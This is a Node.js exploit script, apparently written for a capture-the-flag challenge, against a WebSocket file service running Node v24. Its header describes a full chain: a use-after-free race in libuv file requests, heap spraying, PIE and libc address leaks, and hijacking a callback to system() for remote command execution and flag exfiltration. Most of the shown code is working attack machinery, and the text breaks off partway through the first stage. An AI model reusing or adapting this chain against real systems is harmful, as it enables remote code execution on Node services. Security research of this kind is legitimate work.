#!/usr/bin/env node
// nodefs exploit chain. Node v24.14.1 / libuv FSReqPromise BackingStore UAF.
//
// Underlying primitive (shared by all stages): a TOCTOU in the gather path
// frees bdB's BackingStore while libuv has captured its data pointer for an
// in-flight uv_fs op. A rename sprayer reclaims the freed slot with a fresh
// FSReqPromise<AliasedFloat64Array> (same size class). libuv then performs
// its op against the dangling pointer — i.e. against the FSReqPromise.
//
// Direction of the op selects the primitive:
//   uv_fs_write → writeback. The kernel READS bytes from the reclaimed slot
//                  and writes them to /leak_<pid>_<idx>. Used by Stage 1: we
//                  read the file back and parse PIE pointers directly.
//   uv_fs_read  → predicate-write. The kernel WRITES /victim bytes INTO the
//                  reclaimed slot, corrupting chosen FSReqPromise fields:
//                    slot+560 syscall_  (Stage 2: redirect to GOT for libc leak)
//                    slot+188 req_.cb   (Stage 3: redirect to system())
//
// Stages:
//   1.  writeback PIE leak → PIE_base
//   2.  syscall_-redirect libc leak (read execve@GOT) → libc_base
//   3.  req_.cb hijack → system(cmd); cmd planted in same pred (rdi=req)
//   4.  exfil flag.out via nfs read (in parallel with Stage 3 race)
//
// See LEAK_NOTES.md for the full per-field rationale.

'use strict';
const WebSocket = require('ws');
const protobuf  = require('protobufjs');
const http      = require('http');
const https     = require('https');
const crypto    = require('crypto');

// ---------------------------------------------------------------------------
// Target / config
// ---------------------------------------------------------------------------

function parseTarget() {
  const t = process.env.TARGET;
  if (t) {
    const u = new URL(t);
    const secure = u.protocol === 'https:' || u.protocol === 'wss:';
    return { host: u.hostname, port: u.port ? parseInt(u.port) : (secure ? 443 : 80), explicitPort: !!u.port, secure };
  }
  return { host: process.env.HOST || '127.0.0.1', port: parseInt(process.env.PORT || '1337'), explicitPort: true, secure: false };
}
const TARGET = parseTarget();
const HOST = TARGET.host, PORT = TARGET.port, SECURE = TARGET.secure;
const HTTP_LIB = SECURE ? https : http;
const URL_AUTHORITY = TARGET.explicitPort ? `${HOST}:${PORT}` : HOST;
const HTTP_URL = `${SECURE ? 'https' : 'http'}://${URL_AUTHORITY}`;
const WS_URL   = `${SECURE ? 'wss'   : 'ws'  }://${URL_AUTHORITY}`;

// Class-18 sizing: 796-byte BackingStore + 792-byte FSReqPromise both land
// in class 18 at slot+0 (slack=0 for both).
const BD_SIZE = 796;

// FSReqPromise field offsets (post -8 shift relative to the original handoff;
// confirmed empirically by the Stage 1 writeback dump):
//   slot+0   FSReqPromise<AliasedFloat64Array> vtable_ptr (unused leak anchor)
//   slot+104 uv_fs_t req_
//   slot+184 uv_fs_t.cb  (target of Stage 3 hijack)
//   slot+560 FSReqBase::syscall_ → "rename" in .rodata (target of Stage 2 redirect)
//   slot+600 buf_st_[0]
//   slot+672 stats_field_array_.vtable (AliasedBufferBase, Stage 1 anchor)
const SLOT_OFF_SYSCALL   = 560;
const SLOT_OFF_VTABLE672 = 672;

// === Binary offsets (PIE-relative; verified via objdump on /chall/node) ===
const VTABLE_BIN_OFFSET     = 0x068B3298n;  // AliasedBufferBase<double,Float64Array> vtable (sym+16)
const SYSCALL_BIN_OFFSET    = 0x03C1DB3Cn;  // .rodata "rename" — second writeback anchor
const EXECVE_GOT_BIN_OFFSET = 0x069EE190n;  // execve@GOT (target of Stage 2 redirect)

// === Musl libc offsets (Alpine 3.23, `nm -D /lib/ld-musl-x86_64.so.1`) ===
const MUSL_EXECVE_OFFSET = 0x05BBD2n;
const MUSL_SYSTEM_OFFSET = 0x05C456n;

// Stage 2 (libc leak) pred config — overwrite syscall_ with execve@GOT addr.
const SYSCALL_PRED_OFFSET = parseInt(process.env.SYSCALL_PRED_OFFSET || '560');
const SYSCALL_LEAK_LENGTH = parseInt(process.env.SYSCALL_LEAK_LENGTH || '8');

// Stage 3 (RCE via req->cb hijack) pred config.
//   pred at slot+104, length 88: writes /victim[0..87] into slot+104..191.
//   /victim[80..87] overwrites cb at slot+184. Bytes 0..79 carry the shell cmd
//   starting at rdi = req = slot+104. /victim[72..79] sets req->loop to a safe
//   non-NULL .data pointer so uv__fs_done's preamble (`mov 0x20(%rdx), %eax`)
//   doesn't fault before transferring control to %rax = cb = system.
const RCE_PRED_OFFSET     = parseInt(process.env.RCE_PRED_OFFSET     || '104');
const RCE_LEAK_LENGTH     = parseInt(process.env.RCE_LEAK_LENGTH     || '88');
const RCE_CB_VICTIM_BYTE  = parseInt(process.env.RCE_CB_VICTIM_BYTE  || '80');

// Sprayer mode. Default 'idle' = no parsing; sprayer just keeps reclaiming
// freed slots with fresh FSReqPromise instances.
let STAGE_KIND = 'idle';

// Diagnostic counters & samples for the libc-stage sprayer.
const libcDbg = { total: 0, corrupted: 0, samples: [] };

// Support pools. Tuned to maximize per-second reclaim attempts without saturating
// any single pool.
const SAT_BROTLI_CONNS = parseInt(process.env.SAT_BROTLI_CONNS || '10');
const SAT_BROTLI_PAR   = parseInt(process.env.SAT_BROTLI_PAR   || '5');
const SAT_BROTLI_PAD   = parseInt(process.env.SAT_BROTLI_PAD   || (512 * 1024));
const SPRAY_CONNS      = parseInt(process.env.SPRAY_CONNS      || '16');
const RENAMES_PER_BATCH= parseInt(process.env.RENAMES_PER_BATCH || '16');

const BURST_CONNS    = parseInt(process.env.BURST_CONNS    || '24');
const BURST_PER_CONN = parseInt(process.env.BURST_PER_CONN || '15');
const BURST_SIZE     = parseInt(process.env.BURST_SIZE     || '524288');

// LOW_RATE=1 forces the conservative "TLS / strict ingress" timing on any
// target — useful for smoke-testing the constrained code paths locally
// without standing up an actual TLS endpoint. Auto-on whenever the URL is
// https / wss. Combines: serial race rounds (no token eviction), longer
// HOLD_MS (slower op completion), and KICK_DELAY_MS (ensure brotli kick
// hits the server ahead of the race batch).
const LOW_RATE = process.env.LOW_RATE === '1' || SECURE;

const RACE_PARALLEL    = parseInt(process.env.RACE_PARALLEL    || (LOW_RATE ? '1' : '8'));
const ROUNDS_PER_STAGE = parseInt(process.env.ROUNDS_PER_STAGE || '400');
const HOLD_MS          = parseInt(process.env.HOLD_MS          || (LOW_RATE ? '12000' : '8000'));
const WARMUP_MS        = parseInt(process.env.WARMUP_MS        || '10000');
const KICK_DELAY_MS    = parseInt(process.env.KICK_DELAY_MS    || (LOW_RATE ? '80' : '0'));

const STALL_CONNS         = parseInt(process.env.STALL_CONNS         || '8');
const STALL_PADS_PER_CONN = parseInt(process.env.STALL_PADS_PER_CONN || '12');
const STALL_KICK          = parseInt(process.env.STALL_KICK          || '12');
const STALL_PAD_SIZE      = parseInt(process.env.STALL_PAD_SIZE      || (512 * 1024));

const O_RDONLY = 0, O_WRONLY = 1, O_CREAT = 4, O_TRUNC = 8;

let Request, ServerMessage;
let running = true;
let SHARED_TOKEN = null;
let STORAGE_ROOT = null;
let stageLeaks = [];

// ---------------------------------------------------------------------------
// Plumbing — proto, WS, ack/sig demux
// ---------------------------------------------------------------------------

function fetchProto() {
  return new Promise((resolve, reject) => {
    HTTP_LIB.get(`${HTTP_URL}/nfs.proto`, (res) => {
      if (res.statusCode !== 200) { res.resume(); return reject(new Error(`proto fetch HTTP ${res.statusCode}`)); }
      const chunks = [];
      res.on('data', c => chunks.push(c));
      res.on('end',  () => resolve(Buffer.concat(chunks).toString('utf8')));
      res.on('error', reject);
    }).on('error', reject);
  });
}

class Nfs {
  constructor(ws) {
    this.ws = ws; this.id = 1;
    this.acks = new Map(); this.sigs = new Map();
    this.dead = false;
    ws.binaryType = 'arraybuffer';
    ws.on('message', (raw) => {
      let m; try { m = ServerMessage.decode(new Uint8Array(raw)); } catch { return; }
      if (m.response) {
        for (const s of (m.response.subAcks || [])) {
          const p = this.acks.get(s.id);
          if (p) { this.acks.delete(s.id); p.resolve(s.rd); }
        }
        const p = this.acks.get(m.response.id);
        if (p) { this.acks.delete(m.response.id); p.resolve(m.response.rd); }
      }
      if (m.signal) {
        const p = this.sigs.get(m.signal.rd);
        if (p) {
          this.sigs.delete(m.signal.rd);
          if (m.signal.ok) p.resolve(m.signal);
          else             p.reject(new Error(m.signal.error || 'op failed'));
        }
      }
    });
    ws.on('close', () => { this.dead = true; this._failAll('disconnected'); });
    ws.on('error', () => { this.dead = true; this._failAll('socket error'); });
  }
  _failAll(why) {
    for (const p of this.acks.values()) p.reject(new Error(why));
    for (const p of this.sigs.values()) p.reject(new Error(why));
    this.acks.clear(); this.sigs.clear();
  }
  _send(payload) {
    if (this.dead) throw new Error('disconnected');
    const err = Request.verify(payload);
    if (err) throw new Error('verify: ' + err);
    this.ws.send(Request.encode(Request.create(payload)).finish());
  }
  sys(opField, opData) {
    const id = this.id++;
    let sigRes, sigRej;
    const sigP = new Promise((res, rej) => { sigRes = res; sigRej = rej; });
    this.acks.set(id, { resolve: (rd) => { this.sigs.set(rd, { resolve: sigRes, reject: sigRej }); }, reject: sigRej });
    this._send({ id, [opField]: opData, wantSignal: true });
    return sigP;
  }
  sysAck(opField, opData) {
    const id = this.id++;
    const ackP = new Promise((res, rej) => this.acks.set(id, { resolve: res, reject: rej }));
    this._send({ id, [opField]: opData, wantSignal: false });
    return ackP;
  }
  sendBatchMixed(ops) {
    const subs = ops.map(op => ({ id: this.id++, opField: op.opField, opData: op.opData, wantSignal: !!op.wantSignal }));
    const sigs = subs.map(s => {
      if (!s.wantSignal) return null;
      let sigRes, sigRej;
      const sigP = new Promise((res, rej) => { sigRes = res; sigRej = rej; });
      this.acks.set(s.id, { resolve: (rd) => { this.sigs.set(rd, { resolve: sigRes, reject: sigRej }); }, reject: sigRej });
      return sigP;
    });
    this._send({ id: this.id++, wantSignal: false,
      batch: { requests: subs.map(s => ({ id: s.id, [s.opField]: s.opData, wantSignal: s.wantSignal })) } });
    return sigs;
  }
  close() { try { this.ws.close(); } catch {} }
  corked(fn) { const s = this.ws._socket; s.cork(); try { return fn(); } finally { s.uncork(); } }
}

async function connect() {
  const ws = new WebSocket(WS_URL, { perMessageDeflate: false });
  await new Promise((res, rej) => { ws.once('open', res); ws.once('error', rej); });
  return new Nfs(ws);
}

async function newSession() {
  const c = await connect();
  if (SHARED_TOKEN) await c.sys('resume', { token: SHARED_TOKEN });
  else {
    const u = `pwn_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 8)}`;
    SHARED_TOKEN = (await c.sys('register', { username: u, password: 'pwnpwnpwn' })).authResult.token;
  }
  return c;
}

async function learnStorageRoot(c) {
  const probePath = '/probe-for-storage-root';
  try { await c.sys('stat', { path: probePath }); }
  catch (e) {
    const m = /stat '([^']*)'/.exec(e.message);
    if (!m) throw new Error(`unexpected stat error: ${e.message}`);
    STORAGE_ROOT = m[1].slice(0, m[1].length - probePath.length);
  }
}

async function primeVictim(victimBytes) {
  const c = await newSession();
  try {
    if (!STORAGE_ROOT) await learnStorageRoot(c);
    // open + balloc (independent). 1 RTT.
    const [openRes, ballocRes] = await Promise.all(c.sendBatchMixed([
      { opField: 'open',   opData: { path: '/victim', flags: O_WRONLY | O_CREAT | O_TRUNC }, wantSignal: true },
      { opField: 'balloc', opData: { size: victimBytes.length },                              wantSignal: true },
    ]));
    const fd  = Number(openRes.retval);
    const wbd = Number(ballocRes.retval);
    // bwrite + ftruncate + write — write needs ftruncate, all need bwrite done.
    // 1 RTT (server processes batch sequentially).
    await Promise.all(c.sendBatchMixed([
      { opField: 'bwrite',    opData: { bd: wbd, offset: 0, data: victimBytes },                  wantSignal: true },
      { opField: 'ftruncate', opData: { fd, length: victimBytes.length },                         wantSignal: true },
      { opField: 'write',     opData: { fd, bd: wbd, bufOffset: 0, length: victimBytes.length },  wantSignal: true },
    ]));
    // close + bfree must come AFTER write's sig (else EBUSY: fd in use by worker).
    await Promise.all(c.sendBatchMixed([
      { opField: 'close', opData: { fd },          wantSignal: true },
      { opField: 'bfree', opData: { bd: wbd },     wantSignal: true },
    ]));
  } finally { c.close(); }
}

// ---------------------------------------------------------------------------
// Support pools — saturator, sprayer, burst, stall
// ---------------------------------------------------------------------------

async function brotliBlocker() {
  while (running) {
    let c;
    try {
      c = await newSession();
      // Allocate all pads in one RTT.
      const ballocSigs = await Promise.all(c.sendBatchMixed(
        Array.from({ length: SAT_BROTLI_PAR }, () => ({
          opField: 'balloc', opData: { size: SAT_BROTLI_PAD }, wantSignal: true,
        }))
      ));
      const pads = ballocSigs.map(s => Number(s.retval));
      // Fill each pad with random content in one batched RTT per pad.
      const chunk = crypto.randomBytes(Math.min(SAT_BROTLI_PAD, 128 * 1024));
      await Promise.all(pads.map(pad => {
        const ops = [];
        for (let off = 0; off < SAT_BROTLI_PAD; off += chunk.length) {
          ops.push({ opField: 'bwrite', opData: { bd: pad, offset: off, data: chunk }, wantSignal: true });
        }
        return Promise.all(c.sendBatchMixed(ops));
      }));
      const fire = (pad) => {
        if (!running || c.dead) return;
        c.sys('btransform', { bd: pad, op: 'brotli:compress' }).then(() => fire(pad), () => fire(pad));
      };
      for (const pad of pads) fire(pad);
      await new Promise(res => { const tick = () => (!running || c.dead) ? res() : setTimeout(tick, 200); tick(); });
    } catch {}
    finally { try { c?.close(); } catch {} }
    if (running) await new Promise(r => setTimeout(r, 100));
  }
}

let renameSeed = 0;
function renameBatchOps() {
  const ops = [];
  for (let i = 0; i < RENAMES_PER_BATCH; i++) {
    const tag = (renameSeed++).toString(16).padStart(6, '0');
    const oldPath = `/r${tag}`;
    const newPath = `/q${tag}`;
    ops.push({ opField: 'rename', opData: { oldPath, newPath }, wantSignal: true });
  }
  return ops;
}

// Parse a rename error message for the libc stage. UVException builds:
//   "ENOENT: no such file or directory, <SYSCALL_BYTES> '<src>' -> '<dest>'"
// Normally <SYSCALL_BYTES> is "rename" (the static syscall_ pointer). When
// pred has corrupted syscall_ to point at the GOT entry, OneByteString reads
// strlen-many bytes from there and substitutes them at the SYSCALL position.
// We anchor on " '" + STORAGE_ROOT to locate the start of <src> (avoids
// false matches when the leaked bytes contain ' or " '").
function parseLibcSyscallBytes(msg) {
  const PREFIX = 'ENOENT: no such file or directory, ';
  if (!msg.startsWith(PREFIX)) return null;
  const anchor = " '" + STORAGE_ROOT;
  const anchorIdx = msg.indexOf(anchor, PREFIX.length);
  if (anchorIdx < 0) return null;
  const syscallStr = msg.slice(PREFIX.length, anchorIdx);
  if (syscallStr === 'rename') return null;  // syscall_ uncorrupted
  // Each JS string char maps to a memory byte:
  //   - codepoint < 0x100   : 1 byte (Latin-1 via NewFromOneByte)
  //   - codepoint >= 0x100  : shouldn't happen for OneByteString, but
  //                            re-encode defensively as UTF-8 bytes.
  const bytes = [];
  for (const ch of syscallStr) {
    const cp = ch.codePointAt(0);
    if (cp < 0x100) {
      bytes.push(cp);
    } else if (cp <= 0x7FF) {
      bytes.push(0xC0 | (cp >> 6));
      bytes.push(0x80 | (cp & 0x3F));
    } else if (cp <= 0xFFFF) {
      bytes.push(0xE0 | (cp >> 12));
      bytes.push(0x80 | ((cp >> 6) & 0x3F));
      bytes.push(0x80 | (cp & 0x3F));
    } else {
      bytes.push(0xF0 | (cp >> 18));
      bytes.push(0x80 | ((cp >> 12) & 0x3F));
      bytes.push(0x80 | ((cp >> 6) & 0x3F));
      bytes.push(0x80 | (cp & 0x3F));
    }
  }
  return bytes;
}

async function sprayer() {
  while (running) {
    let c;
    try {
      c = await newSession();
      while (running && !c.dead) {
        const ops = renameBatchOps();
        let sigs;
        try { sigs = c.sendBatchMixed(ops); } catch { break; }
        const results = await Promise.allSettled(sigs.filter(Boolean));
        for (let k = 0; k < results.length; k++) {
          const r = results[k];
          if (r.status !== 'rejected') continue;
          const msg = r.reason && r.reason.message || '';
          // Only Stage 2 (libc) parses the rename error stream — to capture
          // the leaked syscall_ bytes. All other stages (idle / writeback /
          // rce) just need the sprayer to keep reclaiming slots and discard
          // the rename errors silently.
          if (STAGE_KIND !== 'libc') continue;
          const PREFIX = 'ENOENT: no such file or directory, ';
          if (!msg.startsWith(PREFIX)) continue;
          const anchor = " '" + STORAGE_ROOT;
          const idx = msg.indexOf(anchor, PREFIX.length);
          if (idx <= 0) continue;
          const sc = msg.slice(PREFIX.length, idx);
          libcDbg.total++;
          if (sc === 'rename') continue;  // not corrupted
          libcDbg.corrupted++;
          if (libcDbg.samples.length < 5) libcDbg.samples.push(sc);
          const bytes = parseLibcSyscallBytes(msg);
          if (bytes) stageLeaks.push(JSON.stringify(bytes));
        }
      }
    } catch {}
    finally { try { c?.close(); } catch {} }
    if (running) await new Promise(r => setTimeout(r, 50));
  }
}

const burstPool = [];
async function setupBurst() {
  await Promise.all(Array.from({ length: BURST_CONNS }, async () => {
    try {
      const c = await newSession();
      const seed = Number((await c.sys('balloc', { size: 16 })).retval);
      burstPool.push({ c, bds: [seed] });
    } catch {}
  }));
}
async function fireBurst() {
  await Promise.all(burstPool.map(async (slot) => {
    if (slot.c.dead) return;
    if (slot.bds.length) {
      const prior = slot.bds;
      slot.bds = [];
      await Promise.all(prior.map(bd => slot.c.sys('bfree', { bd }).catch(() => {})));
    }
    const results = await Promise.allSettled(
      Array.from({ length: BURST_PER_CONN }, () => slot.c.sys('balloc', { size: BURST_SIZE })));
    for (const r of results) if (r.status === 'fulfilled') slot.bds.push(Number(r.value.retval));
  }));
}

const stallPool = [];
let stallCursor = 0;
async function setupStall() {
  await Promise.all(Array.from({ length: STALL_CONNS }, async () => {
    let c;
    try {
      c = await newSession();
      // Batch allocate all pads in one RTT.
      const ballocSigs = await Promise.all(c.sendBatchMixed(
        Array.from({ length: STALL_PADS_PER_CONN }, () => ({
          opField: 'balloc', opData: { size: STALL_PAD_SIZE }, wantSignal: true,
        }))
      ));
      const pads = ballocSigs.map(s => Number(s.retval));
      // Fill each pad with random content (write in 128KB chunks in parallel).
      const chunk = crypto.randomBytes(Math.min(STALL_PAD_SIZE, 128 * 1024));
      await Promise.all(pads.map(bd => {
        const ops = [];
        for (let off = 0; off < STALL_PAD_SIZE; off += chunk.length) {
          ops.push({ opField: 'bwrite', opData: { bd, offset: off, data: chunk }, wantSignal: true });
        }
        return Promise.all(c.sendBatchMixed(ops));
      }));
      stallPool.push({ c, pads });
    } catch { try { c?.close(); } catch {} }
  }));
}
function kickStall() {
  const slot = stallPool[(stallCursor++) % stallPool.length];
  if (!slot || slot.c.dead) return;
  for (let i = 0; i < STALL_KICK && i < slot.pads.length; i++) {
    slot.c.sysAck('btransform', { bd: slot.pads[i], op: 'brotli:compress' }).catch(() => {});
  }
}

// ---------------------------------------------------------------------------
// Race round (read-direction): pred-WRITE bytes from /victim into the freed
// slot at offset `predOffset`. After reclaim, the same offset hits
// FSReqPromise+predOffset. Used by Stage 2 (slot+560 syscall_ overwrite) and
// Stage 3 (slot+104 bulk cmd+loop+cb overwrite). Stage 1 uses the inverted
// direction — see raceRoundWrite below.
// ---------------------------------------------------------------------------
async function raceRound(predOffset, predLength) {
  let c;
  try { c = await newSession(); } catch { return { ok: false }; }
  try {
    // Batch 1 — allocs + open /victim. 1 RTT.
    const [s0, s1, s2, s3] = await Promise.all(c.sendBatchMixed([
      { opField: 'balloc', opData: { size: 8       },                                wantSignal: true },
      { opField: 'balloc', opData: { size: 4       },                                wantSignal: true },
      { opField: 'balloc', opData: { size: BD_SIZE },                                wantSignal: true },
      { opField: 'open',   opData: { path: '/victim', flags: O_RDONLY },             wantSignal: true },
    ]));
    const bdSel = Number(s0.retval);
    const bdA   = Number(s1.retval);
    const bdB   = Number(s2.retval);
    const fdR   = Number(s3.retval);

    // Batch 2 — bscatter + bgather + selector flip. The bwrite must COMPLETE
    // before the race batch fires (else btransform's PWN could detach bdA
    // instead of bdB). 1 RTT.
    const [sc, gg] = await Promise.all(c.sendBatchMixed([
      { opField: 'bscatter', opData: { bd: 0, sourceBd: bdSel, offset: 0, length: 1 },                        wantSignal: true },
      { opField: 'bgather',  opData: { bd: 0, sourceBds: [bdA, bdB], selectorBd: bdSel, selectorOffset: 0 },  wantSignal: true },
    ]));
    const bdSc = Number(sc.retval);
    const G    = Number(gg.retval);
    await c.sys('bwrite', { bd: bdSc, offset: 0, data: Buffer.from([1]) });

    // Kick stall before the race batch so the brotli ops arrive ahead of our
    // libuv read on the worker queue. On high-RTT links KICK_DELAY_MS ensures
    // the kick packets actually reach the server first.
    kickStall();
    if (KICK_DELAY_MS > 0) await new Promise(r => setTimeout(r, KICK_DELAY_MS));

    // Batch 3 — race [read, btransform]. 1 RTT.
    const sigs = c.sendBatchMixed([
      { opField: 'read',       opData: { fd: fdR, bd: bdB, bufOffset: predOffset, length: predLength }, wantSignal: false },
      { opField: 'btransform', opData: { bd: G, op: 'PWN' },                                            wantSignal: true  },
    ]);
    try { await sigs[1]; } catch {}
    c.corked(() => {
      c.sysAck('resume', { token: SHARED_TOKEN }).catch(() => {});
      c.sysAck('resume', { token: SHARED_TOKEN }).catch(() => {});
    });
    await new Promise(r => setImmediate(r));
    fireBurst().catch(() => {});
    return { ok: true };
  } catch { return { ok: false }; }
  finally { try { c.close(); } catch {} }
}

// runStage runs up to `rounds` race rounds with one pred config + payload.
// Returns all rename-error-channel leaks captured by the sprayer.
//
// opts.minVotes: if set, stop early once any single leak pattern reaches this
// many occurrences. The libc and (legacy) PIE leaks are deterministic per
// PIE_base — one repeated pattern is the truth. Stage 3 (control hijack)
// passes 0 / omits it and just runs the full batch (no "leak" expected).
async function runStage(label, predOffset, predLength, victimBytes, rounds, opts = {}) {
  const minVotes = opts.minVotes | 0;
  process.stdout.write(`[stage:${label}] predOffset=${predOffset} predLength=${predLength} victim=${victimBytes.toString('hex')}${minVotes ? ` minVotes=${minVotes}` : ''}\n`);
  await primeVictim(victimBytes);
  stageLeaks = [];
  let started = 0, finished = 0, stop = false;
  await new Promise((resolve) => {
    let active = 0;
    const tick = () => {
      if (stop && active === 0) { resolve(); return; }
      while (!stop && active < RACE_PARALLEL && started < rounds) {
        active++; started++;
        raceRound(predOffset, predLength).then(() => {
          finished++; active--;
          if (minVotes && !stop) {
            // Cheap pattern check: count occurrences of the most recent leak.
            // Stop as soon as ANY pattern crosses minVotes.
            const tail = stageLeaks[stageLeaks.length - 1];
            if (tail !== undefined) {
              let n = 0;
              for (let i = stageLeaks.length - 1; i >= 0; i--) if (stageLeaks[i] === tail) n++;
              if (n >= minVotes) {
                stop = true;
                console.log(`  [*] early stop: ${n} matching leaks at round ${finished}`);
              }
            }
          }
          if (stop && active === 0) resolve();
          else if (finished === rounds) resolve();
          else tick();
        });
      }
    };
    tick();
  });
  await new Promise(r => setTimeout(r, HOLD_MS));
  const counts = new Map();
  for (const l of stageLeaks) counts.set(l, (counts.get(l) || 0) + 1);
  const sorted = [...counts.entries()].sort((a,b) => b[1] - a[1]);
  if (sorted.length === 0) { console.log(`  → no leaks captured`); return { top: null, all: [], counts: sorted }; }
  console.log(`  → ${stageLeaks.length} leaks; ${counts.size} unique patterns; top ${sorted[0][1]}× "${sorted[0][0].slice(0, 80)}${sorted[0][0].length > 80 ? '...' : ''}"`);
  return { top: sorted[0][0], all: stageLeaks.slice(), counts: sorted };
}

// ---------------------------------------------------------------------------
// Stage 1: PIE base recovery via INVERTED UAF (uv_fs_write writeback).
// ---------------------------------------------------------------------------
//
// Instead of pred-WRITING bytes INTO the freed slot and observing via the
// rename error message (which forces all bytes through V8's UTF-8 parser
// and loses any byte in 0x80..0xFF without elaborate priming), we pred-READ
// the entire freed slot OUT to a file by issuing uv_fs_write whose buf is
// the raw bdB.data pointer. After bdB is freed and reclaimed by a sprayed
// FSReqPromise, the libuv worker's pwrite drains the FSReqPromise's bytes
// to disk. We then read the file back and parse PIE pointers directly —
// no UTF-8, no priming, no per-byte voting.
//
// PIE anchors observed (offsets within the 796-byte snapshot):
//   slot+0   : FSReqPromise<AliasedFloat64Array> vtable_ptr     → PIE
//   slot+560 : FSReqBase::syscall_ → "rename" in .rodata        → PIE
//   slot+672 : stats_field_array_ vtable (AliasedBufferBase)    → PIE (primary)
//
// The race round itself is structurally identical to raceRound (the gather/
// scatter TOCTOU still detaches bdB while libuv holds a captured ptr); only
// the libuv op changes from read→write and the source file is fetched back.

async function raceRoundWrite(roundIdx) {
  const leakPath = `/leak_${process.pid}_${roundIdx}`;
  let c;
  try { c = await newSession(); } catch { return { ok: false, reason: 'connect' }; }
  try {
    // Batch 1 — independent allocs + open. 4 ops, 1 RTT.
    const [s0, s1, s2, s3] = await Promise.all(c.sendBatchMixed([
      { opField: 'balloc', opData: { size: 8       },                                         wantSignal: true },
      { opField: 'balloc', opData: { size: 4       },                                         wantSignal: true },
      { opField: 'balloc', opData: { size: BD_SIZE },                                         wantSignal: true },
      { opField: 'open',   opData: { path: leakPath, flags: O_WRONLY | O_CREAT | O_TRUNC },   wantSignal: true },
    ]));
    const bdSel = Number(s0.retval);
    const bdA   = Number(s1.retval);
    const bdB   = Number(s2.retval);
    const fdW   = Number(s3.retval);

    // Batch 2 — bscatter + bgather + marker fill. 1 RTT.
    const [sc, gg] = await Promise.all(c.sendBatchMixed([
      { opField: 'bscatter', opData: { bd: 0, sourceBd: bdSel, offset: 0, length: 1 },                                wantSignal: true },
      { opField: 'bgather',  opData: { bd: 0, sourceBds: [bdA, bdB], selectorBd: bdSel, selectorOffset: 0 },          wantSignal: true },
      { opField: 'bwrite',   opData: { bd: bdB, offset: 0, data: Buffer.alloc(BD_SIZE, 0x41) },                       wantSignal: true },
    ]));
    const bdSc = Number(sc.retval);
    const G    = Number(gg.retval);
    // Selector flip MUST complete before the race batch — else btransform's
    // PWN could detach bdA instead of bdB. 1 RTT.
    await c.sys('bwrite', { bd: bdSc, offset: 0, data: Buffer.from([1]) });

    // Kick the stall pool BEFORE the race batch — on high-RTT links the kick
    // packets must arrive at the server ahead of our write op so the brotli
    // tasks queue ahead of our libuv write.
    kickStall();

    // Batch 3 — race [write, btransform]. 1 RTT.
    // The write op captures bdB.data into a libuv worker; btransform 'PWN'
    // detaches bdB immediately afterwards, leaving the worker holding a
    // dangling pointer that gets reclaimed by a sprayed FSReqPromise.
    const sigs = c.sendBatchMixed([
      { opField: 'write',      opData: { fd: fdW, bd: bdB, bufOffset: 0, length: BD_SIZE }, wantSignal: false },
      { opField: 'btransform', opData: { bd: G, op: 'PWN' },                                wantSignal: true  },
    ]);
    try { await sigs[1]; } catch {}
    c.corked(() => {
      c.sysAck('resume', { token: SHARED_TOKEN }).catch(() => {});
      c.sysAck('resume', { token: SHARED_TOKEN }).catch(() => {});
    });
    await new Promise(r => setImmediate(r));
    fireBurst().catch(() => {});
    // Wait for the stalled pwrite to drain (must exceed brotli queue depth).
    await new Promise(r => setTimeout(r, HOLD_MS));

    // Read the leak file back on the SAME session. Doing it on a separate
    // session would race: the close-trick above re-binds SHARED_TOKEN to this
    // conn, which on the remote kicks other token-bound sessions off (their
    // ops fail with 'disconnected'). Reuse this conn to avoid that.
    return await readLeakFileOn(c, leakPath);
  } catch (e) {
    return { ok: false, reason: e.message };
  } finally {
    try { c.close(); } catch {}
  }
}

async function readLeakFileOn(c, path) {
  let openRes, ballocRes;
  try {
    [openRes, ballocRes] = await Promise.all(c.sendBatchMixed([
      { opField: 'open',   opData: { path, flags: O_RDONLY }, wantSignal: true },
      { opField: 'balloc', opData: { size: BD_SIZE },         wantSignal: true },
    ]));
  } catch (e) {
    return { ok: false, reason: e.message };
  }
  const fdR = Number(openRes.retval);
  const bd  = Number(ballocRes.retval);
  try {
    const n = Number((await c.sys('read', { fd: fdR, bd, bufOffset: 0, length: BD_SIZE })).retval);
    if (n === 0) return { ok: false, reason: 'empty' };
    const r = await c.sys('bread', { bd, offset: 0, length: n });
    return { ok: true, bytes: Buffer.from(r.breadResult.data) };
  } catch (e) {
    return { ok: false, reason: e.message };
  }
}

function looksLikeUserPointer(qword) {
  // 47-bit canonical user-space address (top 17 bits 0). Reject tiny ints.
  return (qword >> 47n) === 0n && qword > 0xFFFFn;
}

function isMarkerOnly(buf) {
  // Pre-fill 0x41s seen in first 32 bytes → kernel wrote before reclaim landed.
  for (let i = 0; i < Math.min(buf.length, 32); i++) if (buf[i] !== 0x41) return false;
  return true;
}

// Analyze one 796-byte snapshot for PIE_base. Tries vtable672 first, falls
// back to syscall_. Either anchor alone is enough — if vote-of-many across
// rounds converges (see STAGE1_MIN_VOTES), partial-reclaim noise gets outvoted.
function analyzeSnapshot(buf, roundIdx, verbose) {
  if (buf.length < BD_SIZE) return null;
  if (isMarkerOnly(buf))     return null;

  function decode(off, binOff, name) {
    const q = buf.readBigUInt64LE(off);
    if (!looksLikeUserPointer(q)) return null;
    const pb = q - binOff;
    if ((pb & 0xFFFn) !== 0n) return null;     // page-aligned
    if ((pb >> 47n) !== 0n)   return null;     // 47-bit canonical
    if (pb <= 0n)             return null;
    if (verbose) console.log(`  [r${roundIdx}] ${name} = 0x${q.toString(16).padStart(12,'0')}  → PIE_base = 0x${pb.toString(16).padStart(12,'0')}`);
    return { leaked: q, pieBase: pb };
  }

  return decode(SLOT_OFF_VTABLE672, VTABLE_BIN_OFFSET,  'slot+672 vtable672')
      || decode(SLOT_OFF_SYSCALL,   SYSCALL_BIN_OFFSET, 'slot+560 syscall_ ');
}

// Stage 1 succeeds the moment we have STAGE1_MIN_VOTES corroborating reclaim
// snapshots that decode to the SAME PIE base — at that point further rounds
// add nothing. Each reclaim also independently cross-checks vtable672 and
// syscall_ to the same base (see analyzeSnapshot), so one snapshot already
// carries two-anchor consensus; a few of them is overdetermined.
const STAGE1_MIN_VOTES = parseInt(process.env.STAGE1_MIN_VOTES || '3');

async function stage1PieRecovery() {
  console.log('\n========== STAGE 1: PIE recovery (writeback primitive) ==========');
  const prevKind = STAGE_KIND;
  STAGE_KIND = 'writeback';  // sprayer skips parsing
  try {
    const pieVotes = new Map();
    let started = 0, finished = 0, dumps = 0, reclaims = 0;
    let stop = false;
    let verboseRemaining = 3;

    await new Promise((resolve) => {
      let active = 0;
      const tick = () => {
        if (stop && active === 0) { resolve(); return; }
